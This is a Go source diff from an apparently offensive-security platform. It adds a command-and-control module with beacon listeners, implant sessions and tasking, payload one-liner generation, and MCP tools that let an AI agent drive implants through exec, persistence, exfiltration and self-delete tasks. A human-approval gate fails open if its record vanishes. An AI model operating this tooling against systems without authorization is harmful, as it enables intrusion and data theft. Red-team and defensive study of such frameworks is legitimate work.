||||
@@ -317,6 +322,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
}
|
||||
monitorHandler := handler.NewMonitorHandler(mcpServer, executor, db, log.Logger)
|
||||
monitorHandler.SetExternalMCPManager(externalMCPMgr) // 设置外部MCP管理器,以便获取外部MCP执行记录
|
||||
notificationHandler := handler.NewNotificationHandler(db, agentHandler, log.Logger)
|
||||
groupHandler := handler.NewGroupHandler(db, log.Logger)
|
||||
authHandler := handler.NewAuthHandler(authManager, cfg, configPath, log.Logger)
|
||||
attackChainHandler := handler.NewAttackChainHandler(db, &cfg.OpenAI, log.Logger)
|
||||
@@ -336,6 +342,52 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
skillsHandler.SetDB(db) // 设置数据库连接以便获取调用统计
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// 初始化 C2 模块
|
||||
// ============================================================================
|
||||
c2Manager := c2.NewManager(db, log.Logger, "tmp/c2")
|
||||
// 注册 Listener 工厂
|
||||
c2Manager.Registry().Register(string(c2.ListenerTypeTCPReverse), c2.NewTCPReverseListener)
|
||||
c2Manager.Registry().Register(string(c2.ListenerTypeHTTPBeacon), c2.NewHTTPBeaconListener)
|
||||
c2Manager.Registry().Register(string(c2.ListenerTypeHTTPSBeacon), c2.NewHTTPSBeaconListener)
|
||||
c2Manager.Registry().Register(string(c2.ListenerTypeWebSocket), c2.NewWebSocketListener)
|
||||
// 设置 HITL 桥(仅当会话开启人机协同且 c2_task 不在免审批白名单时,危险任务才走桥)
|
||||
c2HITLBridge := NewC2HITLBridge(db, log.Logger)
|
||||
c2Manager.SetHITLBridge(c2HITLBridge)
|
||||
c2Manager.SetHITLDangerousGate(func(conversationID, toolName string) bool {
|
||||
return agentHandler.HITLNeedsToolApproval(conversationID, toolName)
|
||||
})
|
||||
// 设置业务钩子
|
||||
c2Hooks := SetupC2Hooks(&C2HooksConfig{
|
||||
DB: db,
|
||||
Logger: log.Logger,
|
||||
AttackChainRecord: func(session *database.C2Session, phase string, description string) {
|
||||
// 通过攻击链处理器记录(简化版,实际需要完整实现)
|
||||
log.Logger.Info("C2 Attack Chain",
|
||||
zap.String("session_id", session.ID),
|
||||
zap.String("phase", phase),
|
||||
zap.String("desc", description),
|
||||
)
|
||||
},
|
||||
VulnRecord: func(session *database.C2Session, title string, severity string) {
|
||||
// 记录漏洞(简化版)
|
||||
log.Logger.Info("C2 Vulnerability",
|
||||
zap.String("session_id", session.ID),
|
||||
zap.String("title", title),
|
||||
zap.String("severity", severity),
|
||||
)
|
||||
},
|
||||
})
|
||||
c2Manager.SetHooks(c2Hooks)
|
||||
// 恢复运行中的监听器
|
||||
c2Manager.RestoreRunningListeners()
|
||||
// 启动会话看门狗
|
||||
c2Watchdog := c2.NewSessionWatchdog(c2Manager)
|
||||
watchdogCtx, watchdogCancel := context.WithCancel(context.Background())
|
||||
go c2Watchdog.Run(watchdogCtx)
|
||||
// 注册 C2 MCP 工具
|
||||
registerC2Tools(mcpServer, c2Manager, log.Logger, cfg.Server.Port)
|
||||
|
||||
// 创建OpenAPI处理器
|
||||
conversationHandler := handler.NewConversationHandler(db, log.Logger)
|
||||
robotHandler := handler.NewRobotHandler(cfg, db, agentHandler, log.Logger)
|
||||
@@ -359,6 +411,9 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
knowledgeHandler: knowledgeHandler,
|
||||
agentHandler: agentHandler,
|
||||
robotHandler: robotHandler,
|
||||
c2Manager: c2Manager,
|
||||
c2Watchdog: c2Watchdog,
|
||||
c2WatchdogCancel: watchdogCancel,
|
||||
}
|
||||
// 飞书/钉钉长连接(无需公网),启用时在后台启动;后续前端应用配置时会通过 RestartRobotConnections 重启
|
||||
app.startRobotConnections()
|
||||
@@ -427,12 +482,16 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
// 设置机器人连接重启器,前端应用配置后无需重启服务即可使钉钉/飞书新配置生效
|
||||
configHandler.SetRobotRestarter(app)
|
||||
|
||||
// 创建 C2 Handler
|
||||
c2Handler := handler.NewC2Handler(c2Manager, log.Logger)
|
||||
|
||||
// 设置路由(使用 App 实例以便动态获取 handler)
|
||||
setupRoutes(
|
||||
router,
|
||||
authHandler,
|
||||
agentHandler,
|
||||
monitorHandler,
|
||||
notificationHandler,
|
||||
conversationHandler,
|
||||
robotHandler,
|
||||
groupHandler,
|
||||
@@ -448,6 +507,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) {
|
||||
markdownAgentsHandler,
|
||||
fofaHandler,
|
||||
terminalHandler,
|
||||
c2Handler,
|
||||
mcpServer,
|
||||
authManager,
|
||||
openAPIHandler,
|
||||
@@ -539,6 +599,15 @@ func (a *App) Shutdown() {
|
||||
}
|
||||
a.robotMu.Unlock()
|
||||
|
||||
// 停止 C2 看门狗
|
||||
if a.c2WatchdogCancel != nil {
|
||||
a.c2WatchdogCancel()
|
||||
}
|
||||
// 关闭 C2 Manager(停止所有监听器)
|
||||
if a.c2Manager != nil {
|
||||
a.c2Manager.Close()
|
||||
}
|
||||
|
||||
// 停止所有外部MCP客户端
|
||||
if a.externalMCPMgr != nil {
|
||||
a.externalMCPMgr.StopAll()
|
||||
@@ -599,6 +668,7 @@ func setupRoutes(
|
||||
authHandler *handler.AuthHandler,
|
||||
agentHandler *handler.AgentHandler,
|
||||
monitorHandler *handler.MonitorHandler,
|
||||
notificationHandler *handler.NotificationHandler,
|
||||
conversationHandler *handler.ConversationHandler,
|
||||
robotHandler *handler.RobotHandler,
|
||||
groupHandler *handler.GroupHandler,
|
||||
@@ -614,6 +684,7 @@ func setupRoutes(
|
||||
markdownAgentsHandler *handler.MarkdownAgentsHandler,
|
||||
fofaHandler *handler.FofaHandler,
|
||||
terminalHandler *handler.TerminalHandler,
|
||||
c2Handler *handler.C2Handler,
|
||||
mcpServer *mcp.Server,
|
||||
authManager *security.AuthManager,
|
||||
openAPIHandler *handler.OpenAPIHandler,
|
||||
@@ -727,6 +798,8 @@ func setupRoutes(
|
||||
protected.DELETE("/monitor/execution/:id", monitorHandler.DeleteExecution)
|
||||
protected.DELETE("/monitor/executions", monitorHandler.DeleteExecutions)
|
||||
protected.GET("/monitor/stats", monitorHandler.GetStats)
|
||||
protected.GET("/notifications/summary", notificationHandler.GetSummary)
|
||||
protected.POST("/notifications/read", notificationHandler.MarkRead)
|
||||
|
||||
// 配置管理
|
||||
protected.GET("/config", configHandler.GetConfig)
|
||||
@@ -901,6 +974,8 @@ func setupRoutes(
|
||||
|
||||
// 漏洞管理
|
||||
protected.GET("/vulnerabilities", vulnerabilityHandler.ListVulnerabilities)
|
||||
protected.GET("/vulnerabilities/export", vulnerabilityHandler.ExportVulnerabilities)
|
||||
protected.GET("/vulnerabilities/filter-options", vulnerabilityHandler.GetVulnerabilityFilterOptions)
|
||||
protected.GET("/vulnerabilities/stats", vulnerabilityHandler.GetVulnerabilityStats)
|
||||
protected.GET("/vulnerabilities/:id", vulnerabilityHandler.GetVulnerability)
|
||||
protected.POST("/vulnerabilities", vulnerabilityHandler.CreateVulnerability)
|
||||
@@ -919,6 +994,47 @@ func setupRoutes(
|
||||
protected.POST("/webshell/exec", webshellHandler.Exec)
|
||||
protected.POST("/webshell/file", webshellHandler.FileOp)
|
||||
|
||||
// C2 管理(AI-Native 轻量级 C2 框架)
|
||||
// 监听器
|
||||
protected.GET("/c2/listeners", c2Handler.ListListeners)
|
||||
protected.POST("/c2/listeners", c2Handler.CreateListener)
|
||||
protected.GET("/c2/listeners/:id", c2Handler.GetListener)
|
||||
protected.PUT("/c2/listeners/:id", c2Handler.UpdateListener)
|
||||
protected.DELETE("/c2/listeners/:id", c2Handler.DeleteListener)
|
||||
protected.POST("/c2/listeners/:id/start", c2Handler.StartListener)
|
||||
protected.POST("/c2/listeners/:id/stop", c2Handler.StopListener)
|
||||
// 会话
|
||||
protected.GET("/c2/sessions", c2Handler.ListSessions)
|
||||
protected.GET("/c2/sessions/:id", c2Handler.GetSession)
|
||||
protected.DELETE("/c2/sessions/:id", c2Handler.DeleteSession)
|
||||
protected.PUT("/c2/sessions/:id/sleep", c2Handler.SetSessionSleep)
|
||||
// 任务
|
||||
protected.GET("/c2/tasks", c2Handler.ListTasks)
|
||||
protected.DELETE("/c2/tasks", c2Handler.DeleteTasks)
|
||||
protected.GET("/c2/tasks/:id", c2Handler.GetTask)
|
||||
protected.POST("/c2/tasks", c2Handler.CreateTask)
|
||||
protected.POST("/c2/tasks/:id/cancel", c2Handler.CancelTask)
|
||||
protected.GET("/c2/tasks/:id/wait", c2Handler.WaitTask)
|
||||
protected.POST("/c2/sessions/:id/tasks", c2Handler.CreateTask) // 快捷方式:直接对会话下发任务
|
||||
// Payload
|
||||
protected.POST("/c2/payloads/oneliner", c2Handler.PayloadOneliner)
|
||||
protected.POST("/c2/payloads/build", c2Handler.PayloadBuild)
|
||||
protected.GET("/c2/payloads/:id/download", c2Handler.PayloadDownload)
|
||||
// 事件 & SSE
|
||||
protected.GET("/c2/events", c2Handler.ListEvents)
|
||||
protected.DELETE("/c2/events", c2Handler.DeleteEvents)
|
||||
protected.GET("/c2/events/stream", c2Handler.EventStream)
|
||||
// 文件管理
|
||||
protected.POST("/c2/files/upload", c2Handler.UploadFileForImplant)
|
||||
protected.GET("/c2/files", c2Handler.ListFiles)
|
||||
protected.GET("/c2/tasks/:id/result-file", c2Handler.DownloadResultFile)
|
||||
// Malleable Profile
|
||||
protected.GET("/c2/profiles", c2Handler.ListProfiles)
|
||||
protected.GET("/c2/profiles/:id", c2Handler.GetProfile)
|
||||
protected.POST("/c2/profiles", c2Handler.CreateProfile)
|
||||
protected.PUT("/c2/profiles/:id", c2Handler.UpdateProfile)
|
||||
protected.DELETE("/c2/profiles/:id", c2Handler.DeleteProfile)
|
||||
|
||||
// 对话附件(chat_uploads)管理
|
||||
protected.GET("/chat-uploads", chatUploadsHandler.List)
|
||||
protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
|
||||
|
||||
@@ -0,0 +1,228 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/c2"
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// C2HITLBridge 实现 C2 Manager 的 HITLBridge 接口,将危险任务桥接到现有 HITL 审批流。
|
||||
// 审批记录写入 hitl_interrupts 表,与现有 HITL 系统共享前端审批 UI。
|
||||
type C2HITLBridge struct {
|
||||
db *database.DB
|
||||
logger *zap.Logger
|
||||
timeout time.Duration
|
||||
getConvID func() string
|
||||
}
|
||||
|
||||
// NewC2HITLBridge 创建 C2 HITL 桥
|
||||
func NewC2HITLBridge(db *database.DB, logger *zap.Logger) *C2HITLBridge {
|
||||
return &C2HITLBridge{
|
||||
db: db,
|
||||
logger: logger,
|
||||
timeout: 5 * time.Minute,
|
||||
getConvID: func() string { return "" },
|
||||
}
|
||||
}
|
||||
|
||||
// SetConversationIDGetter 设置获取当前对话 ID 的函数
|
||||
func (b *C2HITLBridge) SetConversationIDGetter(fn func() string) {
|
||||
b.getConvID = fn
|
||||
}
|
||||
|
||||
// SetTimeout 设置审批超时(0 表示不超时)
|
||||
func (b *C2HITLBridge) SetTimeout(d time.Duration) {
|
||||
b.timeout = d
|
||||
}
|
||||
|
||||
// RequestApproval 实现 HITLBridge 接口:写入 hitl_interrupts 表并轮询等待审批结果
|
||||
func (b *C2HITLBridge) RequestApproval(ctx context.Context, req c2.HITLApprovalRequest) error {
|
||||
interruptID := "hitl_c2_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
now := time.Now()
|
||||
|
||||
convID := req.ConversationID
|
||||
if convID == "" {
|
||||
convID = b.getConvID()
|
||||
}
|
||||
if convID == "" {
|
||||
convID = "c2_system"
|
||||
}
|
||||
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"task_id": req.TaskID,
|
||||
"session_id": req.SessionID,
|
||||
"task_type": req.TaskType,
|
||||
"payload": req.PayloadJSON,
|
||||
"source": req.Source,
|
||||
"reason": req.Reason,
|
||||
"c2_operation": true,
|
||||
})
|
||||
|
||||
_, err := b.db.Exec(`INSERT INTO hitl_interrupts
|
||||
(id, conversation_id, message_id, mode, tool_name, tool_call_id, payload, status, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, 'pending', ?)`,
|
||||
interruptID, convID, "", "approval",
|
||||
c2.MCPToolC2Task, req.TaskID,
|
||||
string(payload), now,
|
||||
)
|
||||
if err != nil {
|
||||
b.logger.Error("C2 HITL: 创建审批记录失败,拒绝执行", zap.Error(err))
|
||||
return fmt.Errorf("C2 HITL 审批记录创建失败,安全起见拒绝执行: %w", err)
|
||||
}
|
||||
|
||||
b.logger.Info("C2 HITL: 等待人工审批",
|
||||
zap.String("interrupt_id", interruptID),
|
||||
zap.String("task_id", req.TaskID),
|
||||
zap.String("task_type", req.TaskType),
|
||||
)
|
||||
|
||||
// Poll DB waiting for decision
|
||||
ticker := time.NewTicker(500 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
var deadline <-chan time.Time
|
||||
if b.timeout > 0 {
|
||||
timer := time.NewTimer(b.timeout)
|
||||
defer timer.Stop()
|
||||
deadline = timer.C
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
_, _ = b.db.Exec(`UPDATE hitl_interrupts SET status='cancelled', decision='reject',
|
||||
decision_comment='context cancelled', decided_at=? WHERE id=? AND status='pending'`,
|
||||
time.Now(), interruptID)
|
||||
return ctx.Err()
|
||||
|
||||
case <-deadline:
|
||||
_, _ = b.db.Exec(`UPDATE hitl_interrupts SET status='timeout', decision='reject',
|
||||
decision_comment='C2 HITL timeout auto-reject for safety', decided_at=? WHERE id=? AND status='pending'`,
|
||||
time.Now(), interruptID)
|
||||
b.logger.Warn("C2 HITL: 审批超时,安全起见拒绝执行", zap.String("interrupt_id", interruptID))
|
||||
return fmt.Errorf("C2 HITL 审批超时,危险任务已被自动拒绝")
|
||||
|
||||
case <-ticker.C:
|
||||
var status, decision string
|
||||
err := b.db.QueryRow(`SELECT status, COALESCE(decision, '') FROM hitl_interrupts WHERE id = ?`,
|
||||
interruptID).Scan(&status, &decision)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil
|
||||
}
|
||||
continue
|
||||
}
|
||||
switch status {
|
||||
case "decided", "timeout":
|
||||
if decision == "reject" {
|
||||
return fmt.Errorf("C2 危险任务被人工拒绝")
|
||||
}
|
||||
return nil
|
||||
case "cancelled":
|
||||
return fmt.Errorf("C2 审批已取消")
|
||||
case "pending":
|
||||
continue
|
||||
default:
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// C2HooksConfig 配置 C2 Manager 的 Hooks
|
||||
type C2HooksConfig struct {
|
||||
DB *database.DB
|
||||
Logger *zap.Logger
|
||||
AttackChainRecord func(session *database.C2Session, phase string, description string)
|
||||
VulnRecord func(session *database.C2Session, title string, severity string)
|
||||
}
|
||||
|
||||
// SetupC2Hooks 设置 C2 Manager 的业务钩子
|
||||
func SetupC2Hooks(cfg *C2HooksConfig) c2.Hooks {
|
||||
return c2.Hooks{
|
||||
OnSessionFirstSeen: func(session *database.C2Session) {
|
||||
// 新会话上线
|
||||
cfg.Logger.Info("C2 Session first seen",
|
||||
zap.String("session_id", session.ID),
|
||||
zap.String("hostname", session.Hostname),
|
||||
zap.String("os", session.OS),
|
||||
zap.String("arch", session.Arch),
|
||||
)
|
||||
|
||||
// 记录漏洞(初始访问点)
|
||||
if cfg.VulnRecord != nil {
|
||||
cfg.VulnRecord(session, fmt.Sprintf("C2 Session Established: %s@%s", session.Username, session.Hostname), "high")
|
||||
}
|
||||
|
||||
// 记录攻击链(Initial Access)
|
||||
if cfg.AttackChainRecord != nil {
|
||||
cfg.AttackChainRecord(session, "initial-access", fmt.Sprintf("Implant beacon from %s/%s", session.Hostname, session.InternalIP))
|
||||
}
|
||||
},
|
||||
OnTaskCompleted: func(task *database.C2Task, sessionID string) {
|
||||
// 任务完成
|
||||
cfg.Logger.Debug("C2 Task completed",
|
||||
zap.String("task_id", task.ID),
|
||||
zap.String("task_type", task.TaskType),
|
||||
zap.String("status", task.Status),
|
||||
)
|
||||
|
||||
// 根据任务类型记录攻击链
|
||||
if cfg.AttackChainRecord != nil {
|
||||
session, _ := cfg.DB.GetC2Session(sessionID)
|
||||
if session != nil {
|
||||
phase := taskToAttackPhase(task.TaskType)
|
||||
if phase != "" {
|
||||
cfg.AttackChainRecord(session, phase, fmt.Sprintf("Task %s: %s", task.TaskType, task.Status))
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// taskToAttackPhase 将任务类型映射到 ATT&CK 阶段
|
||||
func taskToAttackPhase(taskType string) string {
|
||||
switch taskType {
|
||||
case "exec", "shell":
|
||||
return "execution"
|
||||
case "upload":
|
||||
return "persistence"
|
||||
case "download":
|
||||
return "exfiltration"
|
||||
case "screenshot":
|
||||
return "collection"
|
||||
case "kill_proc":
|
||||
return "impact"
|
||||
case "port_fwd", "socks_start":
|
||||
return "lateral-movement"
|
||||
case "load_assembly":
|
||||
return "defense-evasion"
|
||||
case "persist":
|
||||
return "persistence"
|
||||
case "self_delete":
|
||||
return "defense-evasion"
|
||||
default:
|
||||
return "execution"
|
||||
}
|
||||
}
|
||||
|
||||
// SetupC2HITLBridgeWithAgent 设置 HITL 桥接器
|
||||
// 这个函数将由 App 调用,注入必要的依赖
|
||||
func SetupC2HITLBridgeWithAgent(db *database.DB, logger *zap.Logger) c2.HITLBridge {
|
||||
return &C2HITLBridge{
|
||||
db: db,
|
||||
logger: logger,
|
||||
timeout: 5 * time.Minute,
|
||||
getConvID: func() string { return "" },
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,861 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/c2"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// registerC2Tools 注册所有 C2 MCP 工具(合并同类项,减少工具数量以节省上下文 token)。
|
||||
// webListenPort 为本进程 Web/API 监听端口(配置 server.port,启动时已加载),用于 MCP 描述中提示勿与 C2 bind_port 冲突。
|
||||
func registerC2Tools(mcpServer *mcp.Server, c2Manager *c2.Manager, logger *zap.Logger, webListenPort int) {
|
||||
registerC2ListenerTool(mcpServer, c2Manager, logger, webListenPort)
|
||||
registerC2SessionTool(mcpServer, c2Manager, logger)
|
||||
registerC2TaskTool(mcpServer, c2Manager, logger)
|
||||
registerC2TaskManageTool(mcpServer, c2Manager, logger)
|
||||
registerC2PayloadTool(mcpServer, c2Manager, logger, webListenPort)
|
||||
registerC2EventTool(mcpServer, c2Manager, logger)
|
||||
registerC2ProfileTool(mcpServer, c2Manager, logger)
|
||||
registerC2FileTool(mcpServer, c2Manager, logger)
|
||||
logger.Info("C2 MCP tools registered (8 unified tools)")
|
||||
}
|
||||
|
||||
func makeC2Result(data interface{}, err error) (*mcp.ToolResult, error) {
|
||||
if err != nil {
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{{Type: "text", Text: err.Error()}},
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
text, _ := json.Marshal(data)
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{{Type: "text", Text: string(text)}},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_listener — 监听器统一工具
|
||||
// ============================================================================
|
||||
|
||||
func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListenPort int) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Listener,
|
||||
Description: fmt.Sprintf(`C2 监听器管理。通过 action 参数选择操作:
|
||||
- list: 列出所有监听器
|
||||
- get: 获取监听器详情(需 listener_id)
|
||||
- create: 创建监听器(需 name, type, bind_port)。成功时除 listener 外会返回 implant_token(仅此一次,用于 X-Implant-Token / oneliner;list/get/start 不再返回)
|
||||
- update: 更新监听器配置(需 listener_id,可改 name/bind_host/bind_port/remark/config/callback_host)
|
||||
- start: 启动监听器(需 listener_id)
|
||||
- stop: 停止监听器(需 listener_id)
|
||||
- delete: 删除监听器(需 listener_id)
|
||||
监听器类型: tcp_reverse, http_beacon, https_beacon, websocket
|
||||
端口约束:create/update 的 bind_port 禁止与本平台 Web/API 所用端口相同。当前本服务该端口为 %d(配置项 server.port,随进程启动从配置文件加载)。若 bind_port 与此相同会导致本服务或监听器 bind 失败、Beacon/oneliner 误连到 Web 而非 C2。请为监听器另选空闲端口。`, webListenPort),
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/create/update/start/stop/delete", "enum": []string{"list", "get", "create", "update", "start", "stop", "delete"}},
|
||||
"listener_id": map[string]interface{}{"type": "string", "description": "监听器 ID(get/update/start/stop/delete 需要)"},
|
||||
"name": map[string]interface{}{"type": "string", "description": "监听器名称(create/update)"},
|
||||
"type": map[string]interface{}{"type": "string", "description": "监听器类型(create)", "enum": []string{"tcp_reverse", "http_beacon", "https_beacon", "websocket"}},
|
||||
"bind_host": map[string]interface{}{"type": "string", "description": "绑定地址,默认 127.0.0.1;外网监听常用 0.0.0.0"},
|
||||
"callback_host": map[string]interface{}{"type": "string", "description": "可选:植入端/Payload 回连主机名(公网 IP 或域名)。写入 config_json;生成 oneliner/beacon 时优先于 bind_host。update 时传入空字符串可清除"},
|
||||
"bind_port": map[string]interface{}{"type": "integer", "description": fmt.Sprintf("绑定端口(create 必填)。须 ≠ %d(当前本服务 Web/API 端口,配置 server.port)", webListenPort), "minimum": 1, "maximum": 65535},
|
||||
"profile_id": map[string]interface{}{"type": "string", "description": "Malleable Profile ID"},
|
||||
"remark": map[string]interface{}{"type": "string", "description": "备注"},
|
||||
"config": map[string]interface{}{"type": "object", "description": "高级配置(beacon 路径/TLS/OPSEC 等),create/update 可用"},
|
||||
},
|
||||
"required": []string{"action"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
id := getString(params, "listener_id")
|
||||
|
||||
switch action {
|
||||
case "list":
|
||||
listeners, err := m.DB().ListC2Listeners()
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
for _, li := range listeners {
|
||||
li.EncryptionKey = ""
|
||||
li.ImplantToken = ""
|
||||
}
|
||||
return makeC2Result(map[string]interface{}{"listeners": listeners, "count": len(listeners)}, nil)
|
||||
|
||||
case "get":
|
||||
listener, err := m.DB().GetC2Listener(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if listener == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("listener not found"))
|
||||
}
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
|
||||
|
||||
case "create":
|
||||
var cfg *c2.ListenerConfig
|
||||
if cfgRaw, ok := params["config"]; ok && cfgRaw != nil {
|
||||
cfgBytes, _ := json.Marshal(cfgRaw)
|
||||
cfg = &c2.ListenerConfig{}
|
||||
_ = json.Unmarshal(cfgBytes, cfg)
|
||||
}
|
||||
input := c2.CreateListenerInput{
|
||||
Name: getString(params, "name"),
|
||||
Type: getString(params, "type"),
|
||||
BindHost: getString(params, "bind_host"),
|
||||
BindPort: int(getFloat64(params, "bind_port")),
|
||||
ProfileID: getString(params, "profile_id"),
|
||||
Remark: getString(params, "remark"),
|
||||
Config: cfg,
|
||||
CallbackHost: getString(params, "callback_host"),
|
||||
}
|
||||
listener, err := m.CreateListener(input)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
implantToken := listener.ImplantToken
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
return makeC2Result(map[string]interface{}{
|
||||
"listener": listener,
|
||||
"implant_token": implantToken,
|
||||
}, nil)
|
||||
|
||||
case "update":
|
||||
listener, err := m.DB().GetC2Listener(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
if listener == nil {
|
||||
return makeC2Result(nil, fmt.Errorf("listener not found"))
|
||||
}
|
||||
if m.IsListenerRunning(id) {
|
||||
newHost := getString(params, "bind_host")
|
||||
newPort := int(getFloat64(params, "bind_port"))
|
||||
if (newHost != "" && newHost != listener.BindHost) || (newPort > 0 && newPort != listener.BindPort) {
|
||||
return makeC2Result(nil, fmt.Errorf("cannot modify bind address while listener is running"))
|
||||
}
|
||||
}
|
||||
if v := getString(params, "name"); v != "" {
|
||||
listener.Name = v
|
||||
}
|
||||
if v := getString(params, "bind_host"); v != "" {
|
||||
listener.BindHost = v
|
||||
}
|
||||
if v := int(getFloat64(params, "bind_port")); v > 0 {
|
||||
listener.BindPort = v
|
||||
}
|
||||
if v := getString(params, "profile_id"); v != "" {
|
||||
listener.ProfileID = v
|
||||
}
|
||||
if v, ok := params["remark"]; ok {
|
||||
listener.Remark, _ = v.(string)
|
||||
}
|
||||
if cfgRaw, ok := params["config"]; ok && cfgRaw != nil {
|
||||
cfgBytes, _ := json.Marshal(cfgRaw)
|
||||
listener.ConfigJSON = string(cfgBytes)
|
||||
}
|
||||
if _, ok := params["callback_host"]; ok {
|
||||
pcfg := &c2.ListenerConfig{}
|
||||
raw := strings.TrimSpace(listener.ConfigJSON)
|
||||
if raw == "" {
|
||||
raw = "{}"
|
||||
}
|
||||
_ = json.Unmarshal([]byte(raw), pcfg)
|
||||
pcfg.CallbackHost = strings.TrimSpace(getString(params, "callback_host"))
|
||||
pcfg.ApplyDefaults()
|
||||
cfgBytes, err := json.Marshal(pcfg)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
listener.ConfigJSON = string(cfgBytes)
|
||||
}
|
||||
if err := m.DB().UpdateC2Listener(listener); err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
|
||||
|
||||
case "start":
|
||||
listener, err := m.StartListener(id)
|
||||
if err != nil {
|
||||
return makeC2Result(nil, err)
|
||||
}
|
||||
listener.EncryptionKey = ""
|
||||
listener.ImplantToken = ""
|
||||
return makeC2Result(map[string]interface{}{"listener": listener}, nil)
|
||||
|
||||
case "stop":
|
||||
err := m.StopListener(id)
|
||||
return makeC2Result(map[string]interface{}{"stopped": err == nil}, err)
|
||||
|
||||
case "delete":
|
||||
err := m.DeleteListener(id)
|
||||
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
|
||||
|
||||
default:
|
||||
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// c2_session — 会话统一工具
|
||||
// ============================================================================
|
||||
|
||||
func registerC2SessionTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
|
||||
s.RegisterTool(mcp.Tool{
|
||||
Name: builtin.ToolC2Session,
|
||||
Description: `C2 会话管理。通过 action 参数选择操作:
|
||||
- list: 列出会话(可按 listener_id/status/os/search 过滤)
|
||||
- get: 获取会话详情及最近任务历史(需 session_id)
|
||||
- set_sleep: 设置心跳间隔(需 session_id)
|
||||
- kill: 下发 exit 任务让 implant 退出(需 session_id)
|
||||
- delete: 删除会话记录(需 session_id)`,
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/set_sleep/kill/delete", "enum": []string{"list", "get", "set_sleep", "kill", "delete"}},
|
||||
"session_id": map[string]interface{}{"type": "string", "description": "会话 ID(get/set_sleep/kill/delete 需要)"},
|
||||
"listener_id": map[string]interface{}{"type": "string", "description": "按监听器过滤(list)"},
|
||||
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: active/sleeping/dead/killed(list)"},
|
||||
"os": map[string]interface{}{"type": "string", "description": "按 OS 过滤: linux/windows/darwin(list)"},
|
||||
"search": map[string]interface{}{"type": "string", "description": "模糊搜索 hostname/username/IP(list)"},
|
||||
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list)"},
|
||||
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "心跳间隔秒数(set_sleep)"},
|
||||
"jitter_percent": map[string]interface{}{"type": "integer", "description": "抖动百分比 0-100(set_sleep)"},
|
||||
},
|
||||
"required": []string{"action"},
|
||||
},
|
||||
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
action := getString(params, "action")
|
||||
id := getString(params, "session_id")
|
||||
|
||||
switch action {
|
||||
case "list":
|
||||
filter := database.ListC2SessionsFilter{
|
||||
ListenerID: getString(params, "listener_id"),
|
||||
Status: getString(params, "status"),
|
||||
OS: getString(params, "os"),
|
||||
Search: getString(params, "search"),
|
||||
}
|
||||
